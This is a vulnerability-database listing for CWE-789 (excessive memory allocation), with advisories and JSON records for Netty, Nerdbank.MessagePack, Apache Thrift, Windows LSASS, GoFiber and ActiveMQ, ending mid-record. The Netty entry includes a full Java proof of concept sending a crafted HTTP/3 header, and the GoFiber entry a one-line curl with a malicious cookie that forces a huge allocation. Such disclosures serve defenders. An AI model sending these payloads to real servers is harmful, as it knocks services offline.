Common Weakness Enumeration

CWE-789

Allowed

Memory Allocation with Excessive Size Value

Abstraction: Variant · Status: Draft

API response cwe.mitre.org

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

324 vulnerabilities reference this CWE, most recent first.

GHSA-2C5C-CHWR-9HQW

Vulnerability from github – Published: 2026-05-07 00:19 – Updated: 2026-06-30 22:27
VLAI
Summary
Netty HTTP/3 QPACK literal unbounded allocation
Details

Summary

When Netty decodes HTTP/3 headers, it sometimes runs new byte[length] using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).

Details

When decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length].

PoC

The test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1 GiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target new byte[length].

    @Test
    public void test() throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
        try {
            X509Bundle cert = new CertificateBuilder()
                    .subject("cn=localhost")
                    .setIsCertificateAuthority(true)
                    .buildSelfSigned();

            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            AtomicReference<Throwable> serverErrors = new AtomicReference<>();
            CountDownLatch serverConnectionClosed = new CountDownLatch(1);

            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
                    .sslContext(serverContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10_000_000)
                    .initialMaxStreamDataBidirectionalLocal(1_000_000)
                    .initialMaxStreamDataBidirectionalRemote(1_000_000)
                    .initialMaxStreamsBidirectional(100)
                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)
                    .handler(new ChannelInitializer<QuicChannel>() {
                        @Override
                        protected void initChannel(QuicChannel ch) {
                            ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
                            ch.pipeline().addLast(new Http3ServerConnectionHandler(
                                    new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverErrors.set(cause.getCause());
                                            } else {
                                                serverErrors.set(cause);
                                            }
                                        }
                                    }));
                        }
                    })
                    .build();

            Channel server = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(serverCodec)
                    .bind("127.0.0.1", 0)
                    .sync()
                    .channel();

            QuicSslContext clientContext = QuicSslContextBuilder.forClient()
                    .trustManager(InsecureTrustManagerFactory.INSTANCE)
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
                    .sslContext(clientContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10000000)
                    .initialMaxStreamDataBidirectionalLocal(1000000)
                    .build();

            Channel client = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(clientCodec)
                    .bind(0)
                    .sync()
                    .channel();

            QuicChannel quicChannel = QuicChannel.newBootstrap(client)
                    .handler(new Http3ClientConnectionHandler())
                    .remoteAddress(server.localAddress())
                    .localAddress(client.localAddress())
                    .connect()
                    .get();

            QuicStreamChannel rawStream =
                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();

            ByteBuf header = Unpooled.buffer();
            header.writeByte(0x01);
            header.writeByte(0x08);

            header.writeByte(0x00);
            header.writeByte(0x00);

            header.writeByte(0x27);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x04);

            rawStream.writeAndFlush(header).sync();

            assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());

            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
            server.close().sync();
            client.close().sync();
        } finally {
            group.shutdownGracefully();
        }
    }

Impact

The server can slow down, stall, or crash under load when many crafted HTTP/3 HEADERS frames trigger very large byte[] allocations during QPACK literal decoding.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:19:21Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen Netty decodes HTTP/3 headers, it sometimes runs `new byte[length]` using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).\n\n### Details\nWhen decoding header blocks, the non-Huffman branch of `io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral` may execute `new byte[length]` for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that `length \u003c= in.readableBytes()` before `new byte[length]`.\n\n### PoC\nThe test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1\u202fGiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target `new byte[length]`.\n\n```java\n    @Test\n    public void test() throws Exception {\n        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());\n        try {\n            X509Bundle cert = new CertificateBuilder()\n                    .subject(\"cn=localhost\")\n                    .setIsCertificateAuthority(true)\n                    .buildSelfSigned();\n\n            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())\n                    .applicationProtocols(Http3.supportedApplicationProtocols())\n                    .build();\n\n            AtomicReference\u003cThrowable\u003e serverErrors = new AtomicReference\u003c\u003e();\n            CountDownLatch serverConnectionClosed = new CountDownLatch(1);\n\n            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()\n                    .sslContext(serverContext)\n                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n                    .initialMaxData(10_000_000)\n                    .initialMaxStreamDataBidirectionalLocal(1_000_000)\n                    .initialMaxStreamDataBidirectionalRemote(1_000_000)\n                    .initialMaxStreamsBidirectional(100)\n                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)\n                    .handler(new ChannelInitializer\u003cQuicChannel\u003e() {\n                        @Override\n                        protected void initChannel(QuicChannel ch) {\n                            ch.closeFuture().addListener(f -\u003e serverConnectionClosed.countDown());\n                            ch.pipeline().addLast(new Http3ServerConnectionHandler(\n                                    new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            if (cause instanceof DecoderException) {\n                                                serverErrors.set(cause.getCause());\n                                            } else {\n                                                serverErrors.set(cause);\n                                            }\n                                        }\n                                    }));\n                        }\n                    })\n                    .build();\n\n            Channel server = new Bootstrap()\n                    .group(group)\n                    .channel(NioDatagramChannel.class)\n                    .handler(serverCodec)\n                    .bind(\"127.0.0.1\", 0)\n                    .sync()\n                    .channel();\n\n            QuicSslContext clientContext = QuicSslContextBuilder.forClient()\n                    .trustManager(InsecureTrustManagerFactory.INSTANCE)\n                    .applicationProtocols(Http3.supportedApplicationProtocols())\n                    .build();\n\n            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()\n                    .sslContext(clientContext)\n                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n                    .initialMaxData(10000000)\n                    .initialMaxStreamDataBidirectionalLocal(1000000)\n                    .build();\n\n            Channel client = new Bootstrap()\n                    .group(group)\n                    .channel(NioDatagramChannel.class)\n                    .handler(clientCodec)\n                    .bind(0)\n                    .sync()\n                    .channel();\n\n            QuicChannel quicChannel = QuicChannel.newBootstrap(client)\n                    .handler(new Http3ClientConnectionHandler())\n                    .remoteAddress(server.localAddress())\n                    .localAddress(client.localAddress())\n                    .connect()\n                    .get();\n\n            QuicStreamChannel rawStream =\n                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();\n\n            ByteBuf header = Unpooled.buffer();\n            header.writeByte(0x01);\n            header.writeByte(0x08);\n\n            header.writeByte(0x00);\n            header.writeByte(0x00);\n\n            header.writeByte(0x27);\n            header.writeByte(0x80);\n            header.writeByte(0x80);\n            header.writeByte(0x80);\n            header.writeByte(0x80);\n            header.writeByte(0x04);\n\n            rawStream.writeAndFlush(header).sync();\n\n            assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));\n\n            assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());\n\n            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);\n            server.close().sync();\n            client.close().sync();\n        } finally {\n            group.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nThe server can slow down, stall, or crash under load when many crafted HTTP/3 HEADERS frames trigger very large `byte[]` allocations during QPACK literal decoding.",
  "id": "GHSA-2c5c-chwr-9hqw",
  "modified": "2026-06-30T22:27:49Z",
  "published": "2026-05-07T00:19:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-2c5c-chwr-9hqw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42582"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty HTTP/3 QPACK literal unbounded allocation"
}

GHSA-2CWQ-PWFR-WCW3

Vulnerability from github – Published: 2026-05-06 23:05 – Updated: 2026-05-14 20:49
VLAI
Summary
Nerdbank.MessagePack: Attacker-controlled stackalloc in DateTime decoding causes process-terminating StackOverflowException
Details

Summary

Nerdbank.MessagePack contains an uncontrolled stack allocation vulnerability in DateTime decoding. A malicious MessagePack payload can declare an oversized timestamp extension length, causing the reader to allocate an attacker-controlled number of bytes on the stack. This can trigger a StackOverflowException, which is not catchable by user code and terminates the process.

Impact

Applications are impacted if they deserialize MessagePack data from untrusted or attacker-controlled sources using Nerdbank.MessagePack and the target type contains a DateTime value.

A small malicious payload can cause process termination, resulting in a denial of service. This may affect services, APIs, workers, message consumers, or other long-running processes that deserialize untrusted MessagePack input.

The issue occurs because DateTime timestamp extension decoding derives tokenSize from the attacker-controlled extension length before validating that the timestamp length is one of the legal MessagePack timestamp sizes: 4, 8, or 12 bytes. When the buffer is incomplete, that unvalidated size is propagated to the streaming reader slow path, where it is used in a stackalloc.

Patches

The 1.1.62 version contains the fix for this security vulnerability.

Workarounds

If upgrading is not yet possible, avoid deserializing untrusted MessagePack payloads into type graphs that may contain DateTime fields or properties.

Input byte-size limits alone may not fully mitigate this issue, because the malicious payload can be small while declaring a very large extension length. Possible mitigations include:

  • Pre-validating MessagePack extension headers before deserialization and rejecting timestamp extensions whose length is not 4, 8, or 12 bytes.
  • Rejecting or filtering extension type -1 timestamp values from untrusted input unless they are known to be valid.
  • Running deserialization of untrusted payloads in an isolated process that can be safely restarted after termination.
  • Restricting MessagePack deserialization to trusted producers until a patched version is available.

Resources

  • CWE-789: Uncontrolled Memory Allocation: https://cwe.mitre.org/data/definitions/789.html
  • MessagePack timestamp extension specification: https://github.com/msgpack/msgpack/blob/master/spec.md#timestamp-extension-type
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Nerdbank.MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.62"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44375"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T23:05:52Z",
    "nvd_published_at": "2026-05-14T15:16:48Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nNerdbank.MessagePack contains an uncontrolled stack allocation vulnerability in DateTime decoding. A malicious MessagePack payload can declare an oversized timestamp extension length, causing the reader to allocate an attacker-controlled number of bytes on the stack. This can trigger a `StackOverflowException`, which is not catchable by user code and terminates the process.\n\n### Impact\n\nApplications are impacted if they deserialize MessagePack data from untrusted or attacker-controlled sources using Nerdbank.MessagePack and the target type contains a `DateTime` value.\n\nA small malicious payload can cause process termination, resulting in a denial of service. This may affect services, APIs, workers, message consumers, or other long-running processes that deserialize untrusted MessagePack input.\n\nThe issue occurs because DateTime timestamp extension decoding derives `tokenSize` from the attacker-controlled extension length before validating that the timestamp length is one of the legal MessagePack timestamp sizes: 4, 8, or 12 bytes. When the buffer is incomplete, that unvalidated size is propagated to the streaming reader slow path, where it is used in a `stackalloc`.\n\n### Patches\n\nThe 1.1.62 version contains the fix for this security vulnerability.\n\n### Workarounds\n\nIf upgrading is not yet possible, avoid deserializing untrusted MessagePack payloads into type graphs that may contain `DateTime` fields or properties.\n\nInput byte-size limits alone may not fully mitigate this issue, because the malicious payload can be small while declaring a very large extension length. Possible mitigations include:\n\n- Pre-validating MessagePack extension headers before deserialization and rejecting timestamp extensions whose length is not 4, 8, or 12 bytes.\n- Rejecting or filtering extension type `-1` timestamp values from untrusted input unless they are known to be valid.\n- Running deserialization of untrusted payloads in an isolated process that can be safely restarted after termination.\n- Restricting MessagePack deserialization to trusted producers until a patched version is available.\n\n### Resources\n\n- CWE-789: Uncontrolled Memory Allocation: https://cwe.mitre.org/data/definitions/789.html\n- MessagePack timestamp extension specification: https://github.com/msgpack/msgpack/blob/master/spec.md#timestamp-extension-type",
  "id": "GHSA-2cwq-pwfr-wcw3",
  "modified": "2026-05-14T20:49:35Z",
  "published": "2026-05-06T23:05:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AArnott/Nerdbank.MessagePack/security/advisories/GHSA-2cwq-pwfr-wcw3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44375"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AArnott/Nerdbank.MessagePack/pull/941"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AArnott/Nerdbank.MessagePack/commit/7d1eb319cfabe7280e70699946c9a48579fa2f30"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AArnott/Nerdbank.MessagePack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AArnott/Nerdbank.MessagePack/releases/tag/v1.1.62"
    },
    {
      "type": "WEB",
      "url": "https://github.com/msgpack/msgpack/blob/master/spec.md#timestamp-extension-type"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nerdbank.MessagePack: Attacker-controlled stackalloc in DateTime decoding causes process-terminating StackOverflowException"
}

GHSA-2F9F-GQ7V-9H6M

Vulnerability from github – Published: 2026-05-05 09:31 – Updated: 2026-05-08 19:21
VLAI
Summary
Apache Thrift has a Memory Allocation with Excessive Size Value Vulnerability
Details

Memory Allocation with Excessive Size Value vulnerability in Apache Thrift.

This issue affects Apache Thrift: before 0.23.0.

Users are recommended to upgrade to version 0.23.0, which fixes the issue.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "thrift"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43868"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T19:21:11Z",
    "nvd_published_at": "2026-05-05T09:16:04Z",
    "severity": "MODERATE"
  },
  "details": "Memory Allocation with Excessive Size Value vulnerability in Apache Thrift.\n\nThis issue affects Apache Thrift: before 0.23.0.\n\nUsers are recommended to upgrade to version [0.23.0](https://github.com/apache/thrift/releases/tag/v0.23.0), which fixes the issue.",
  "id": "GHSA-2f9f-gq7v-9h6m",
  "modified": "2026-05-08T19:21:11Z",
  "published": "2026-05-05T09:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43868"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/thrift/commit/d5152211af61f850ec393604316804096dd4632e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/thrift"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/zj76dtwnbbs1m7z3focf4wd51pqpsmn9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Thrift has a Memory Allocation with Excessive Size Value Vulnerability"
}

GHSA-2JV5-2QVR-82QR

Vulnerability from github – Published: 2026-07-14 18:31 – Updated: 2026-07-14 18:31
VLAI
Details

Memory allocation with excessive size value in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to deny service over a network.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-40378"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T17:16:47Z",
    "severity": "HIGH"
  },
  "details": "Memory allocation with excessive size value in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to deny service over a network.",
  "id": "GHSA-2jv5-2qvr-82qr",
  "modified": "2026-07-14T18:31:57Z",
  "published": "2026-07-14T18:31:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40378"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2MR3-M5Q5-WGP6

Vulnerability from github – Published: 2026-02-24 20:57 – Updated: 2026-02-27 20:37
VLAI
Summary
Fiber is Vulnerable to Denial of Service via Flash Cookie Unbounded Allocation
Details

Summary

The use of the fiber_flash cookie can force an unbounded allocation on any server. A crafted 10-character cookie value triggers an attempt to allocate up to 85GB of memory via unvalidated msgpack deserialization. No authentication is required. Every GoFiber v3 endpoint is affected regardless of whether the application uses flash messages.

Details

Regardless of configuration, the flash cookie is checked:

func (app *App) requestHandler(rctx *fasthttp.RequestCtx) {
    // Acquire context from the pool
    ctx := app.AcquireCtx(rctx)
    defer app.ReleaseCtx(ctx)

        // Optional: Check flash messages
        rawHeaders := d.Request().Header.RawHeaders()
        if len(rawHeaders) > 0 && bytes.Contains(rawHeaders, flashCookieNameBytes) {
            d.Redirect().parseAndClearFlashMessages()
        }
        _, err = app.next(d)
    } else {
        // Check if the HTTP method is valid
        if ctx.getMethodInt() == -1 {
            _ = ctx.SendStatus(StatusNotImplemented) //nolint:errcheck // Always return nil
            return
        }

        // Optional: Check flash messages
        rawHeaders := ctx.Request().Header.RawHeaders()
        if len(rawHeaders) > 0 && bytes.Contains(rawHeaders, flashCookieNameBytes) {
            ctx.Redirect().parseAndClearFlashMessages()
        }
}

The cookie value is hex-decoded and passed directly to msgpack deserialization with no size or content validation:

https://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect.go#L371

// parseAndClearFlashMessages is a method to get flash messages before they are getting removed
func (r *Redirect) parseAndClearFlashMessages() {
    // parse flash messages
    cookieValue, err := hex.DecodeString(r.c.Cookies(FlashCookieName))
    if err != nil {
        return
    }

    _, err = r.c.flashMessages.UnmarshalMsg(cookieValue)
    if err != nil {
        return
    }

    r.c.Cookie(&Cookie{
        Name:   FlashCookieName,
        Value:  "",
        Path:   "/",
        MaxAge: -1,
    })
}

The auto-generated tinylib/msgp deserialization reads a uint32 array header from the attacker-controlled byte stream and passes it directly to make() with no bounds check:

https://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect_msgp.go#L242

// UnmarshalMsg implements msgp.Unmarshaler
func (z *redirectionMsgs) UnmarshalMsg(bts []byte) (o []byte, err error) {
    var zb0002 uint32
    zb0002, bts, err = msgp.ReadArrayHeaderBytes(bts)
    if err != nil {
        err = msgp.WrapError(err)
        return o, err
    }
    if cap((*z)) >= int(zb0002) {
        (*z) = (*z)[:zb0002]
    } else {
        (*z) = make(redirectionMsgs, zb0002)
    }
    for zb0001 := range *z {
        bts, err = (*z)[zb0001].UnmarshalMsg(bts)
        if err != nil {
            err = msgp.WrapError(err, zb0001)
            return o, err
        }
    }
    o = bts
    return o, err
}

where zb0002, bts, err = msgp.ReadArrayHeaderBytes(bts) translates the attacker-controlled value into the element count and make(redirectionMsgs, zb0002) performs the unbounded allocation

So we can craft a gofiber cookie that will force a huge allocation: curl -H "Cookie: fiber_flash=dd7fffffff" http://localhost:5000/hello

The cookie val is a hex-encoded msgpack array32 header: - dd = msgpack array32 marker - 7fffffff = 2 147 483 647 elements

Impact

Unauthenticated remote Denial of Service (CWE-789). Anyone running a gofiber v3.0.0 or v3 server is affected. The flash cookie parsing is hardcoded.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gofiber/fiber/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25899"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-24T20:57:25Z",
    "nvd_published_at": "2026-02-24T22:16:31Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe use of the `fiber_flash` cookie can force an unbounded allocation on any server. A crafted 10-character cookie value triggers an attempt to allocate up to 85GB of memory via unvalidated msgpack deserialization. No authentication is required. Every GoFiber v3 endpoint is affected regardless of whether the application uses flash messages.\n\n### Details\nRegardless of configuration, the flash cookie is checked:\n\n```go\nfunc (app *App) requestHandler(rctx *fasthttp.RequestCtx) {\n\t// Acquire context from the pool\n\tctx := app.AcquireCtx(rctx)\n\tdefer app.ReleaseCtx(ctx)\n\n\t\t// Optional: Check flash messages\n\t\trawHeaders := d.Request().Header.RawHeaders()\n\t\tif len(rawHeaders) \u003e 0 \u0026\u0026 bytes.Contains(rawHeaders, flashCookieNameBytes) {\n\t\t\td.Redirect().parseAndClearFlashMessages()\n\t\t}\n\t\t_, err = app.next(d)\n\t} else {\n\t\t// Check if the HTTP method is valid\n\t\tif ctx.getMethodInt() == -1 {\n\t\t\t_ = ctx.SendStatus(StatusNotImplemented) //nolint:errcheck // Always return nil\n\t\t\treturn\n\t\t}\n\n\t\t// Optional: Check flash messages\n\t\trawHeaders := ctx.Request().Header.RawHeaders()\n\t\tif len(rawHeaders) \u003e 0 \u0026\u0026 bytes.Contains(rawHeaders, flashCookieNameBytes) {\n\t\t\tctx.Redirect().parseAndClearFlashMessages()\n\t\t}\n}\n```\n\nThe cookie value is hex-decoded and passed directly to msgpack deserialization with no size or content validation:\n\nhttps://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect.go#L371\n\n```go\n// parseAndClearFlashMessages is a method to get flash messages before they are getting removed\nfunc (r *Redirect) parseAndClearFlashMessages() {\n\t// parse flash messages\n\tcookieValue, err := hex.DecodeString(r.c.Cookies(FlashCookieName))\n\tif err != nil {\n\t\treturn\n\t}\n\n\t_, err = r.c.flashMessages.UnmarshalMsg(cookieValue)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tr.c.Cookie(\u0026Cookie{\n\t\tName:   FlashCookieName,\n\t\tValue:  \"\",\n\t\tPath:   \"/\",\n\t\tMaxAge: -1,\n\t})\n}\n```\n\nThe auto-generated `tinylib/msgp` deserialization reads a `uint32` array header from the attacker-controlled byte stream and passes it directly to `make()` with no bounds check:\n\nhttps://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect_msgp.go#L242\n\n```go\n// UnmarshalMsg implements msgp.Unmarshaler\nfunc (z *redirectionMsgs) UnmarshalMsg(bts []byte) (o []byte, err error) {\n\tvar zb0002 uint32\n\tzb0002, bts, err = msgp.ReadArrayHeaderBytes(bts)\n\tif err != nil {\n\t\terr = msgp.WrapError(err)\n\t\treturn o, err\n\t}\n\tif cap((*z)) \u003e= int(zb0002) {\n\t\t(*z) = (*z)[:zb0002]\n\t} else {\n\t\t(*z) = make(redirectionMsgs, zb0002)\n\t}\n\tfor zb0001 := range *z {\n\t\tbts, err = (*z)[zb0001].UnmarshalMsg(bts)\n\t\tif err != nil {\n\t\t\terr = msgp.WrapError(err, zb0001)\n\t\t\treturn o, err\n\t\t}\n\t}\n\to = bts\n\treturn o, err\n}\n```\n\nwhere\n `zb0002, bts, err = msgp.ReadArrayHeaderBytes(bts)` translates the attacker-controlled value into the element count and `make(redirectionMsgs, zb0002)` performs the unbounded allocation\n\nSo we can craft a gofiber cookie that will force a huge allocation: \n`curl -H \"Cookie: fiber_flash=dd7fffffff\" http://localhost:5000/hello`\n\nThe cookie val is a hex-encoded msgpack array32 header:\n- `dd` = msgpack array32 marker\n- `7fffffff` = 2 147 483 647 elements\n\n### Impact\nUnauthenticated remote Denial of Service (CWE-789). Anyone running a gofiber v3.0.0 or v3 server is affected. The flash cookie parsing is hardcoded.",
  "id": "GHSA-2mr3-m5q5-wgp6",
  "modified": "2026-02-27T20:37:07Z",
  "published": "2026-02-24T20:57:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gofiber/fiber/security/advisories/GHSA-2mr3-m5q5-wgp6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25899"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gofiber/fiber"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gofiber/fiber/releases/tag/v3.1.0"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4534"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fiber is Vulnerable to Denial of Service via Flash Cookie Unbounded Allocation"
}

GHSA-2Q9G-8573-3265

Vulnerability from github – Published: 2026-06-30 12:31 – Updated: 2026-06-30 18:31
VLAI
Details

Memory Allocation with Excessive Size Value vulnerability in Apache ActiveMQ, Apache ActiveMQ All, Apache ActiveMQ Stomp.

An unauthenticated client that opens a STOMP NIO connection can send header bytes that never terminate which makes the broker buffer them without limit, exhausting the JVM heap. This issue affects Apache ActiveMQ: before 5.19.8, from 6.0.0 before 6.2.7; Apache ActiveMQ All: before 5.19.8, from 6.0.0 before 6.2.7; Apache ActiveMQ Stomp: before 5.19.8, from 6.0.0 before 6.2.7.

Users are recommended to upgrade to version 6.2.7 or 5.19.8, which fixes the issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-53916"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T11:16:30Z",
    "severity": "HIGH"
  },
  "details": "Memory Allocation with Excessive Size Value vulnerability in Apache ActiveMQ, Apache ActiveMQ All, Apache ActiveMQ Stomp.\n\n\nAn unauthenticated client that opens a STOMP NIO connection can send header bytes that never terminate which makes the broker buffer them without limit,\u00a0exhausting\u00a0the JVM heap. \nThis issue affects Apache ActiveMQ: before 5.19.8, from 6.0.0 before 6.2.7; Apache ActiveMQ All: before 5.19.8, from 6.0.0 before 6.2.7; Apache ActiveMQ Stomp: before 5.19.8, from 6.0.0 before 6.2.7.\n\nUsers are recommended to upgrade to version 6.2.7 or 5.19.8, which fixes the issue.",
